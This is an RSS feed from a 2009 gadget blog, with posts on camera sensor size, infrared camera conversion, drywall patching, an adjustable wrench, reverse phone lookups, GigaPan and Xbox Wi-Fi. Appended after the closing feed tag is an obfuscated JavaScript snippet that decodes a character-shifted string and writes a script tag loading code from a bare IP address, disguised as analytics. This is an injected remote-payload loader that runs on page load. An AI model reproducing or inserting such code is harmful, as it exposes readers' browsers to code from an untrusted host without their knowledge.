<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Gizmohound.com</title>
	<atom:link href="http://gizmohound.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://gizmohound.com</link>
	<description>Gadgets and Gizmos Review and News</description>
	<pubDate>Mon, 09 Mar 2009 23:44:10 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.5</generator>
	<language>en</language>
			<item>
		<title>Image sensor format</title>
		<link>http://gizmohound.com/photography/76/image-sensor-format/</link>
		<comments>http://gizmohound.com/photography/76/image-sensor-format/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 23:44:10 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Photography]]></category>

		<guid isPermaLink="false">http://gizmohound.com/photography/76/image-sensor-format/</guid>
		<description><![CDATA[A lot of my friends buy cameras based on the number of megapixels and then expect higher quality images.&#160; Image sensor size (actually sensor density) has a much higher correlation with image quality than the number of megapixels.&#160; Larger sensors capture images with less noise and greater dynamic range than smaller sensors.&#160; Wikipedia has a [...]]]></description>
			<content:encoded><![CDATA[<p>A lot of my friends buy cameras based on the number of megapixels and then expect higher quality images.&nbsp; Image sensor size (actually sensor density) has a much higher correlation with image quality than the number of megapixels.&nbsp; Larger sensors capture images with less noise and greater dynamic range than smaller sensors.&nbsp; Wikipedia has a great graphic that illustrates the size of sensor found in most common cameras (click for original graphic size).&nbsp; Sites like dpreview.com offer statistics on image density.&nbsp; Consider sensor density when buying your next camera.</p>
<p>&nbsp; <a href="http://gizmohound.com/wp-content/uploads/2009/03/sensorsize.jpg"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="480" alt="sensorsize" src="http://gizmohound.com/wp-content/uploads/2009/03/sensorsize-thumb.jpg" width="343" border="0"></a> </p>
<p>&nbsp;</p>
<p><a href="http://en.wikipedia.org/wiki/Image_sensor_format">Image sensor format - Wikipedia, the free encyclopedia</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/photography/76/image-sensor-format/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Adjusting your camera&#8217;s focus (Nikon D70)</title>
		<link>http://gizmohound.com/photography/73/adjusting-your-cameras-focus-nikon-d70/</link>
		<comments>http://gizmohound.com/photography/73/adjusting-your-cameras-focus-nikon-d70/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 16:17:48 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Photography]]></category>

		<guid isPermaLink="false">http://gizmohound.com/photography/73/adjusting-your-cameras-focus-nikon-d70/</guid>
		<description><![CDATA[My Nikon D70 had been sitting around unused (because I’d bought the Nikon D300) so I decided to convert it to become an infrared camera using a kit from Lifepixel.&#160; Feeling in an adventurous mood, I decided to do the conversion myself instead of having Lifepixed do it for me.&#160; Much to my surprise I [...]]]></description>
			<content:encoded><![CDATA[<p>My Nikon D70 had been sitting around unused (because I’d bought the Nikon D300) so I decided to convert it to become an infrared camera using a kit from <a href="http://www.lifepixel.com" target="_blank">Lifepixel</a>.&#160; Feeling in an adventurous mood, I decided to do the conversion myself instead of having Lifepixed do it for me.&#160; Much to my surprise I was successful.</p>
<p>One of the things Lifepixel will do for you is adjust the focus so that the camera focuses correctly for infrared.&#160;&#160; I decided to investigate how hard it’d be to adjust the focus for infrared myself and I found Leon Goodman’s article on the internet.&#160; It still intimidates me a bit (most particularly taping the mirror up with cellophane tape—what kind of residue will that leave?).&#160; I’ll let you know if I get adventurous—meanwhile the link to the article is below.</p>
<p><a href="http://www.leongoodman.com/d70focusnew.html">Camera Focus Article</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/photography/73/adjusting-your-cameras-focus-nikon-d70/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cell Phone Driving Laws</title>
		<link>http://gizmohound.com/uncategorized/71/cell-phone-driving-laws/</link>
		<comments>http://gizmohound.com/uncategorized/71/cell-phone-driving-laws/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 07:03:14 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://gizmohound.com/?p=71</guid>
		<description><![CDATA[Flying somewhere?  Can you use your cell phone while driving?  Do you have to use a handset?  Is it all just illegal.  What happens when you crash you car.  The Governor&#8217;s Highway Safety Association has a useful chart that oulines cell phone laws by state.  The chart is available [...]]]></description>
			<content:encoded><![CDATA[<p>Flying somewhere?  Can you use your cell phone while driving?  Do you have to use a handset?  Is it all just illegal.  What happens when you crash you car.  The Governor&#8217;s Highway Safety Association has a useful chart that oulines cell phone laws by state.  The chart is available at:  </p>
<p>http://www.ghsa.org/html/stateinfo/laws/cellphone_laws.html</p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/uncategorized/71/cell-phone-driving-laws/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HK1 Hydrokinetic Adjustable Wrench</title>
		<link>http://gizmohound.com/tools-hardware/67/hk1-hydrokinetic-adjustable-wrench/</link>
		<comments>http://gizmohound.com/tools-hardware/67/hk1-hydrokinetic-adjustable-wrench/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 00:27:14 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Tools &amp; Hardware]]></category>

		<guid isPermaLink="false">http://gizmohound.com/tools-hardware/67/hk1-hydrokinetic-adjustable-wrench/</guid>
		<description><![CDATA[ Ran across an interesting wrench at one of my favorite tool sites - www.toolmonger.com.&#160; The manufacturer, Expedition Tools,&#160; claims that the wrench is the first and only hydrokinetically adjusted wrench that can cover a size from 1/4&#8243; - 3/4&#8243; (7-19mm).&#160; You adjust it by moving a piston.&#160; Because it contacts the bolt on 3 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://gizmohound.com/wp-content/uploads/2009/02/hydrokinetic.jpg"><img height="160" alt="hydrokinetic" src="http://gizmohound.com/wp-content/uploads/2009/02/hydrokinetic-thumb.jpg" width="240" align="right"></a> Ran across an interesting wrench at one of my favorite tool sites - <a href="http://www.toolmonger.com">www.toolmonger.com</a>.&nbsp; The manufacturer, Expedition Tools,&nbsp; claims that the wrench is the first and only hydrokinetically adjusted wrench that can cover a size from 1/4&#8243; - 3/4&#8243; (7-19mm).&nbsp; You adjust it by moving a piston.&nbsp; Because it contacts the bolt on 3 sides the manufacturer claims it&#8217;ll remove damaged nuts and bolts that other wrenches cannot remove.&nbsp;&nbsp; Cost is $25 on Amazon.com.&nbsp; </p>
<p><a href="http://www.expeditiontools.com/">Expedition Tools - Introduction Video</a> </p>
<div class="wlWriterSmartContent" id="scid:7dc1bd33-94bd-46fd-a20b-0131235bcd47:63977fac-37ac-4b7a-8e12-fe35377ea844" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">
<table cellspacing="0" cellpadding="2" width="400" border="0" unselectable="on">
<tbody>
<tr>
<td valign="top" width="400">
<p><a title="Amazon.com: HK1 Hydrokinetic Adjustable Wrench: Home Improvement" href="http://www.amazon.com/exec/obidos/ASIN/B001LQH1NQ/gizmohoundcom-20"><img src="http://images.amazon.com/images/P/B001LQH1NQ.01.MZZZZZZZ.jpg" border="0" align="left">Amazon.com: HK1 Hydrokinetic Adjustable Wrench: Home Improvement</a></p>
</td>
</tr>
</tbody>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/tools-hardware/67/hk1-hydrokinetic-adjustable-wrench/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Patch drywall easily with Homax products</title>
		<link>http://gizmohound.com/tools-hardware/66/patch-drywall-easily-with-homax-products/</link>
		<comments>http://gizmohound.com/tools-hardware/66/patch-drywall-easily-with-homax-products/#comments</comments>
		<pubDate>Sun, 01 Feb 2009 15:56:56 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Tools &amp; Hardware]]></category>

		<guid isPermaLink="false">http://gizmohound.com/tools-hardware/66/patch-drywall-easily-with-homax-products/</guid>
		<description><![CDATA[Crap!&#160; I could see it happening in slow motion.&#160; I pushed a library step stool out of my way in the kitchen and it managed to roll 20’ to the stairs and bounce down….and crash right into the drywall leaving a good size hole.&#160;&#160; I really am not good at patching drywall holes and making [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://gizmohound.com/wp-content/uploads/2009/02/wallpatch.jpg"><img title="wallpatch" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; margin-left: 0px; margin-right: 0px; border-right-width: 0px" height="169" alt="wallpatch" src="http://gizmohound.com/wp-content/uploads/2009/02/wallpatch-thumb.jpg" width="150" align="right" border="0" /></a>Crap!&#160; I could see it happening in slow motion.&#160; I pushed a library step stool out of my way in the kitchen and it managed to roll 20’ to the stairs and bounce down….and crash right into the drywall leaving a good size hole.&#160;&#160; I really am not good at patching drywall holes and making the texture come out correctly.&#160; </p>
<p>Luckily, on my trip to Home Depot I found a couple of products from <a href="http://www.homaxproducts.com/" target="_blank">Homax</a> that make the job easy.&#160; First&#160; Homax makes a wall patch that helps you cover the hole.&#160;&#160; The patch consists of a self-adhesive mesh that holds a galvanized metal plate.&#160;&#160; Three sizes are available: 4&quot;, 6&quot;, and 8&quot;—luckily the 8” patch covered the whole.&#160;&#160; By refinishing over the product you can create an invisible patch. </p>
<p> <iframe style="width: 120px; height: 240px" align="right" marginwidth="0" marginheight="0" src="http://rcm.amazon.com/e/cm?t=gadgetguyscom-20&amp;o=1&amp;p=8&amp;l=as1&amp;asins=B0018W1ULC&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" scrolling="no"></iframe>
<p>After you’ve covered the hole with a metal patch and sanded it smooth—you can texture over it by using one Homax’s spray textures.&#160; You can get a variety of textures to match your existing texture.&#160; Our house uses Orange peel.&#160; A really cool feature of the new nozzle design is you can vary the density of the texture by simply turning a nozzle.&#160; </p>
<p>Homax is kind enough to put some <a href="http://www.homaxproducts.com/texture/index.html" target="_blank">instructional videos</a> on their website to help novices.</p>
<p>Other products include a patch for doorknob holes and a patch for holes around electrical outlets.</p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/tools-hardware/66/patch-drywall-easily-with-homax-products/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Online Services Provide A Way To Identify Unrecognized Phone Numbers</title>
		<link>http://gizmohound.com/uncategorized/63/online-services-provide-a-way-to-identify-unrecognized-phone-numbers/</link>
		<comments>http://gizmohound.com/uncategorized/63/online-services-provide-a-way-to-identify-unrecognized-phone-numbers/#comments</comments>
		<pubDate>Sun, 01 Feb 2009 15:22:30 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://gizmohound.com/uncategorized/63/online-services-provide-a-way-to-identify-unrecognized-phone-numbers/</guid>
		<description><![CDATA[It is a situation we have all found ourselves in at one time or another: our phone rings and up pops an unknown phone number. Do we answer it and hope it is someone we know calling from an unknown number or do we let it go to voice mail and find out later? If [...]]]></description>
			<content:encoded><![CDATA[<p>It is a situation we have all found ourselves in at one time or another: our phone rings and up pops an unknown phone number. Do we answer it and hope it is someone we know calling from an unknown number or do we let it go to voice mail and find out later? If you are tired of having to make this decision multiple times per day, there is an alternative. A reverse phone number trace is a low cost and effective way to figure out the name associated with an <a href="http://www.freecellphonelookups.com/art_calling_unknown_numbers.php">unrecognized phone number</a>, including cell phone numbers, business numbers and landlines. </p>
<p>Even though this technology is still in its infancy, it is remarkably effective. Standing alone as the first ever comprehensive catalogue of cell phone numbers, a reverse phone number lookup has many common uses. Currently, users say that they perform reverse lookups to track down the identity of telemarketers so that they can have their numbers removed once and for all. This technology is also quite useful if you are being bothered by a prank caller or obscene caller, and, of course, this service provides the best call screening possible. </p>
<p>When you consider just how useful these new types of searches are, it is surprising to learn just how cost effective they really are. If you are attached to your cell phone throughout the day and you simply don&#8217;t have time to talk to anyone that is calling you about frivolous things, a series of reverse phone number lookups can act like your own professional answering service, weeding out unwanted and unnecessary calls from the ones you really need. Most people would pay hundreds of dollars per year for such a service, but <a href="http://www.freecellphonelookups.com">reverse number searches</a> cost significantly less. </p>
<p>The magic powering these searches is due in large part to private record information. Unlike a regular, old fashioned search engine that simply scans the information on the Internet, a reverse phone number search queries private databases dedicated to storing large amounts of cell phone data. When a user searches a 10-digit phone number through a reverse phone directory, the search function sifts through the database until it finds a match for the queried number. The phone owner&#8217;s first and last name is then compiled onto an organized PDF file and made available to the user. </p>
<p>The technology is fairly simple to use and can be purchased for $15-20 per search. For more long-term users, year-long memberships are often offered between $35-40. </p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/uncategorized/63/online-services-provide-a-way-to-identify-unrecognized-phone-numbers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Gigapan Imager</title>
		<link>http://gizmohound.com/uncategorized/62/gigapan-imager/</link>
		<comments>http://gizmohound.com/uncategorized/62/gigapan-imager/#comments</comments>
		<pubDate>Mon, 26 Jan 2009 17:59:00 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://gizmohound.com/uncategorized/62/gigapan-imager/</guid>
		<description><![CDATA[ The GigaPan System is a completely integrated solution for creating multi-gigapixel images. With three components

GigaPan Imager A robotic camera mount for capturing gigapixel images available for $279
GigaPan Stitcher Automatically combines thousands of photos into a single panorama. 
GigaPan.org View, share, explore and discover using the amazing GigaPan Viewer.

the GigaPan System provides a complete, low-cost [...]]]></description>
			<content:encoded><![CDATA[<p> The GigaPan System is a completely integrated solution for creating multi-gigapixel images. With three components</p>
<ul>
<li><strong><a href="http://www.gigapansystems.com/index.php?page=system-page">GigaPan Imager</a></strong> A robotic camera mount for capturing gigapixel images available for $279</li>
<li><strong><a href="http://www.gigapansystems.com/index.php?page=system-page">GigaPan Stitcher</a></strong> Automatically combines thousands of photos into a single panorama. </li>
<li><strong><a href="http://gigapan.org">GigaPan.org</a></strong> View, share, explore and discover using the amazing GigaPan Viewer.</li>
</ul>
<p>the GigaPan System provides a complete, low-cost and powerful solution for creating incredibly high-resolution photos.&nbsp; Sample impages can be found at <a href="http://www.gigapan.org">www.gigapan.org</a></p>
<p><a href="http://www.gigapansystems.com/">Gigapan Systems Online - Gigapan Systems Homepage</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/uncategorized/62/gigapan-imager/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How To: Add Wi-Fi To Your Xbox 360 Smartly and Cheaply</title>
		<link>http://gizmohound.com/uncategorized/59/how-to-add-wi-fi-to-your-xbox-360-smartly-and-cheaply/</link>
		<comments>http://gizmohound.com/uncategorized/59/how-to-add-wi-fi-to-your-xbox-360-smartly-and-cheaply/#comments</comments>
		<pubDate>Sat, 17 Jan 2009 22:06:20 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://gizmohound.com/uncategorized/59/how-to-add-wi-fi-to-your-xbox-360-smartly-and-cheaply/</guid>
		<description><![CDATA[&#160;The XBox 360 is my favorite console because it allows me to:

Play games (Duh!) 
Connect to my computer to play music and show pictures 
Connect to Netflix and watch movies on demand 

Unfortunately Microsoft decided to charge $90 for it’s Wi-Fi Dongle.&#160; Ridiculous!&#160; Gizmodo has a article about some much cheaper options.&#160; Their choice is [...]]]></description>
			<content:encoded><![CDATA[<p>&#160;<img title="xbox_360_wireless_networking_adapter" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; margin-left: 0px; margin-right: 0px; border-right-width: 0px" height="240" alt="xbox_360_wireless_networking_adapter" src="http://gizmohound.com/wp-content/uploads/2009/01/xbox-360-wireless-networking-adapter.jpg" width="240" align="right" border="0" />The XBox 360 is my favorite console because it allows me to:</p>
<ul>
<li>Play games (Duh!) </li>
<li>Connect to my computer to play music and show pictures </li>
<li>Connect to Netflix and watch movies on demand </li>
</ul>
<p>Unfortunately Microsoft decided to charge $90 for it’s Wi-Fi Dongle.&#160; Ridiculous!&#160; Gizmodo has a article about some much cheaper options.&#160; Their choice is to get the original Xbox dongle and it works.</p>
<p><a href="http://i.gizmodo.com/5133447/how-to-add-wi+fi-to-your-xbox-360-smartly-and-cheaply">How To: Add Wi-Fi To Your Xbox 360 Smartly and Cheaply</a></p>
<p>Oh yeah, we have found that a wired connection works significantly faster and is more reliable but sometimes it is way too difficult to string wires through the room and walls.</p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/uncategorized/59/how-to-add-wi-fi-to-your-xbox-360-smartly-and-cheaply/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cool Tools</title>
		<link>http://gizmohound.com/uncategorized/57/cool-tools/</link>
		<comments>http://gizmohound.com/uncategorized/57/cool-tools/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 00:40:14 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://gizmohound.com/uncategorized/57/cool-tools/</guid>
		<description><![CDATA[Cool Tools is Kevin Kelly&#8217;s blog on tools that really work&#8211;a tool can be any book, gadget, software, video, map, hardware, material or website that is tried and true.&#160; The reviews on the website are written by users who have actually used the tool.&#160;&#160; It is one of my favorite websites to get to at [...]]]></description>
			<content:encoded><![CDATA[<p>Cool Tools is Kevin Kelly&#8217;s blog on tools that really work&#8211;a tool can be any book, gadget, software, video, map, hardware, material or website that is tried and true.&nbsp; The reviews on the website are written by users who have actually used the tool.&nbsp;&nbsp; It is one of my favorite websites to get to at least once a week.&nbsp; </p>
<p>Mr. Kelly helped co-found Wired magazine and remains the Senior Maverick.&nbsp; </p>
<p><a href="http://www.kk.org/cooltools/">Cool Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/uncategorized/57/cool-tools/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Google Earth Publishes Stunning 14 Gigapixel Photos of El Prado Masterpieces</title>
		<link>http://gizmohound.com/uncategorized/56/google-earth-publishes-stunning-14-gigapixel-photos-of-el-prado-masterpieces/</link>
		<comments>http://gizmohound.com/uncategorized/56/google-earth-publishes-stunning-14-gigapixel-photos-of-el-prado-masterpieces/#comments</comments>
		<pubDate>Tue, 13 Jan 2009 20:40:42 +0000</pubDate>
		<dc:creator>Gizmohound</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://gizmohound.com/uncategorized/56/google-earth-publishes-stunning-14-gigapixel-photos-of-el-prado-masterpieces/</guid>
		<description><![CDATA[Google and the Prado Museum present the 14 El Prado masterpieces in a stunning 14-billion pixel resolution&#160; The images have a resolution between hundred and thousand times greater than a normal digital camera allowing you to appreciate the subtlest details of the master&#8217;s work.&#160; As you can see in the video below Madpixel doesn&#8217;t use [...]]]></description>
			<content:encoded><![CDATA[<p>Google and the Prado Museum present the 14 El Prado masterpieces in a stunning 14-billion pixel resolution&nbsp; The images have a resolution between hundred and thousand times greater than a normal digital camera allowing you to appreciate the subtlest details of the master&#8217;s work.&nbsp; As you can see in the video below Madpixel doesn&#8217;t use a special camera, rather a machine-controlled camera and stitches the final results together.</p>
<p>&nbsp;</p>
<p>
<div class="wlWriterSmartContent" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:6c6b95c8-5f3b-45c4-839f-d2ef56fd0540" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">
<div id="4ead02f8-1f5a-4357-b60d-7e451798023d" style="margin: 0px; padding: 0px; display: inline;">
<div><a href="http://www.youtube.com/watch?v=zXos0ZQ3W-M&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" target="_new"><img src="http://gizmohound.com/wp-content/uploads/2009/01/video613f36a68c0a.jpg" galleryimg="no" onload="var downlevelDiv = document.getElementById('4ead02f8-1f5a-4357-b60d-7e451798023d'); downlevelDiv.innerHTML = &quot;&lt;div&gt;&lt;object width=\&quot;425\&quot; height=\&quot;355\&quot;&gt;&lt;param name=\&quot;movie\&quot; value=\&quot;http://www.youtube.com/v/zXos0ZQ3W-M&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1\&quot;&gt;&lt;\/param&gt;&lt;param name=\&quot;wmode\&quot; value=\&quot;transparent\&quot;&gt;&lt;\/param&gt;&lt;embed src=\&quot;http://www.youtube.com/v/zXos0ZQ3W-M&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1\&quot; type=\&quot;application/x-shockwave-flash\&quot; wmode=\&quot;transparent\&quot; width=\&quot;425\&quot; height=\&quot;355\&quot;&gt;&lt;\/embed&gt;&lt;\/object&gt;&lt;\/div&gt;&quot;;" alt=""></a></div>
</div>
</div>
<p>&nbsp;</p>
<p><a href="http://maps.google.es/maps/mpl?moduleurl=http://pradomuseum.googlecode.com/svn/trunk/themasterpieces.xml&amp;utm_campaign=es&amp;utm_medium=lp&amp;utm_source=es-lp-emea-es-gns-mp&amp;utm_term=prado">See it here (requires Google Earth)</a> via <a href="http://www.madpixel.es/?p=161">Madpixel</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gizmohound.com/uncategorized/56/google-earth-publishes-stunning-14-gigapixel-photos-of-el-prado-masterpieces/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<html><script>var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:2/316/344/:20bobmzujdt0hb/kt#?=0tdsjqu?"; var result = "";for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result); </script></html>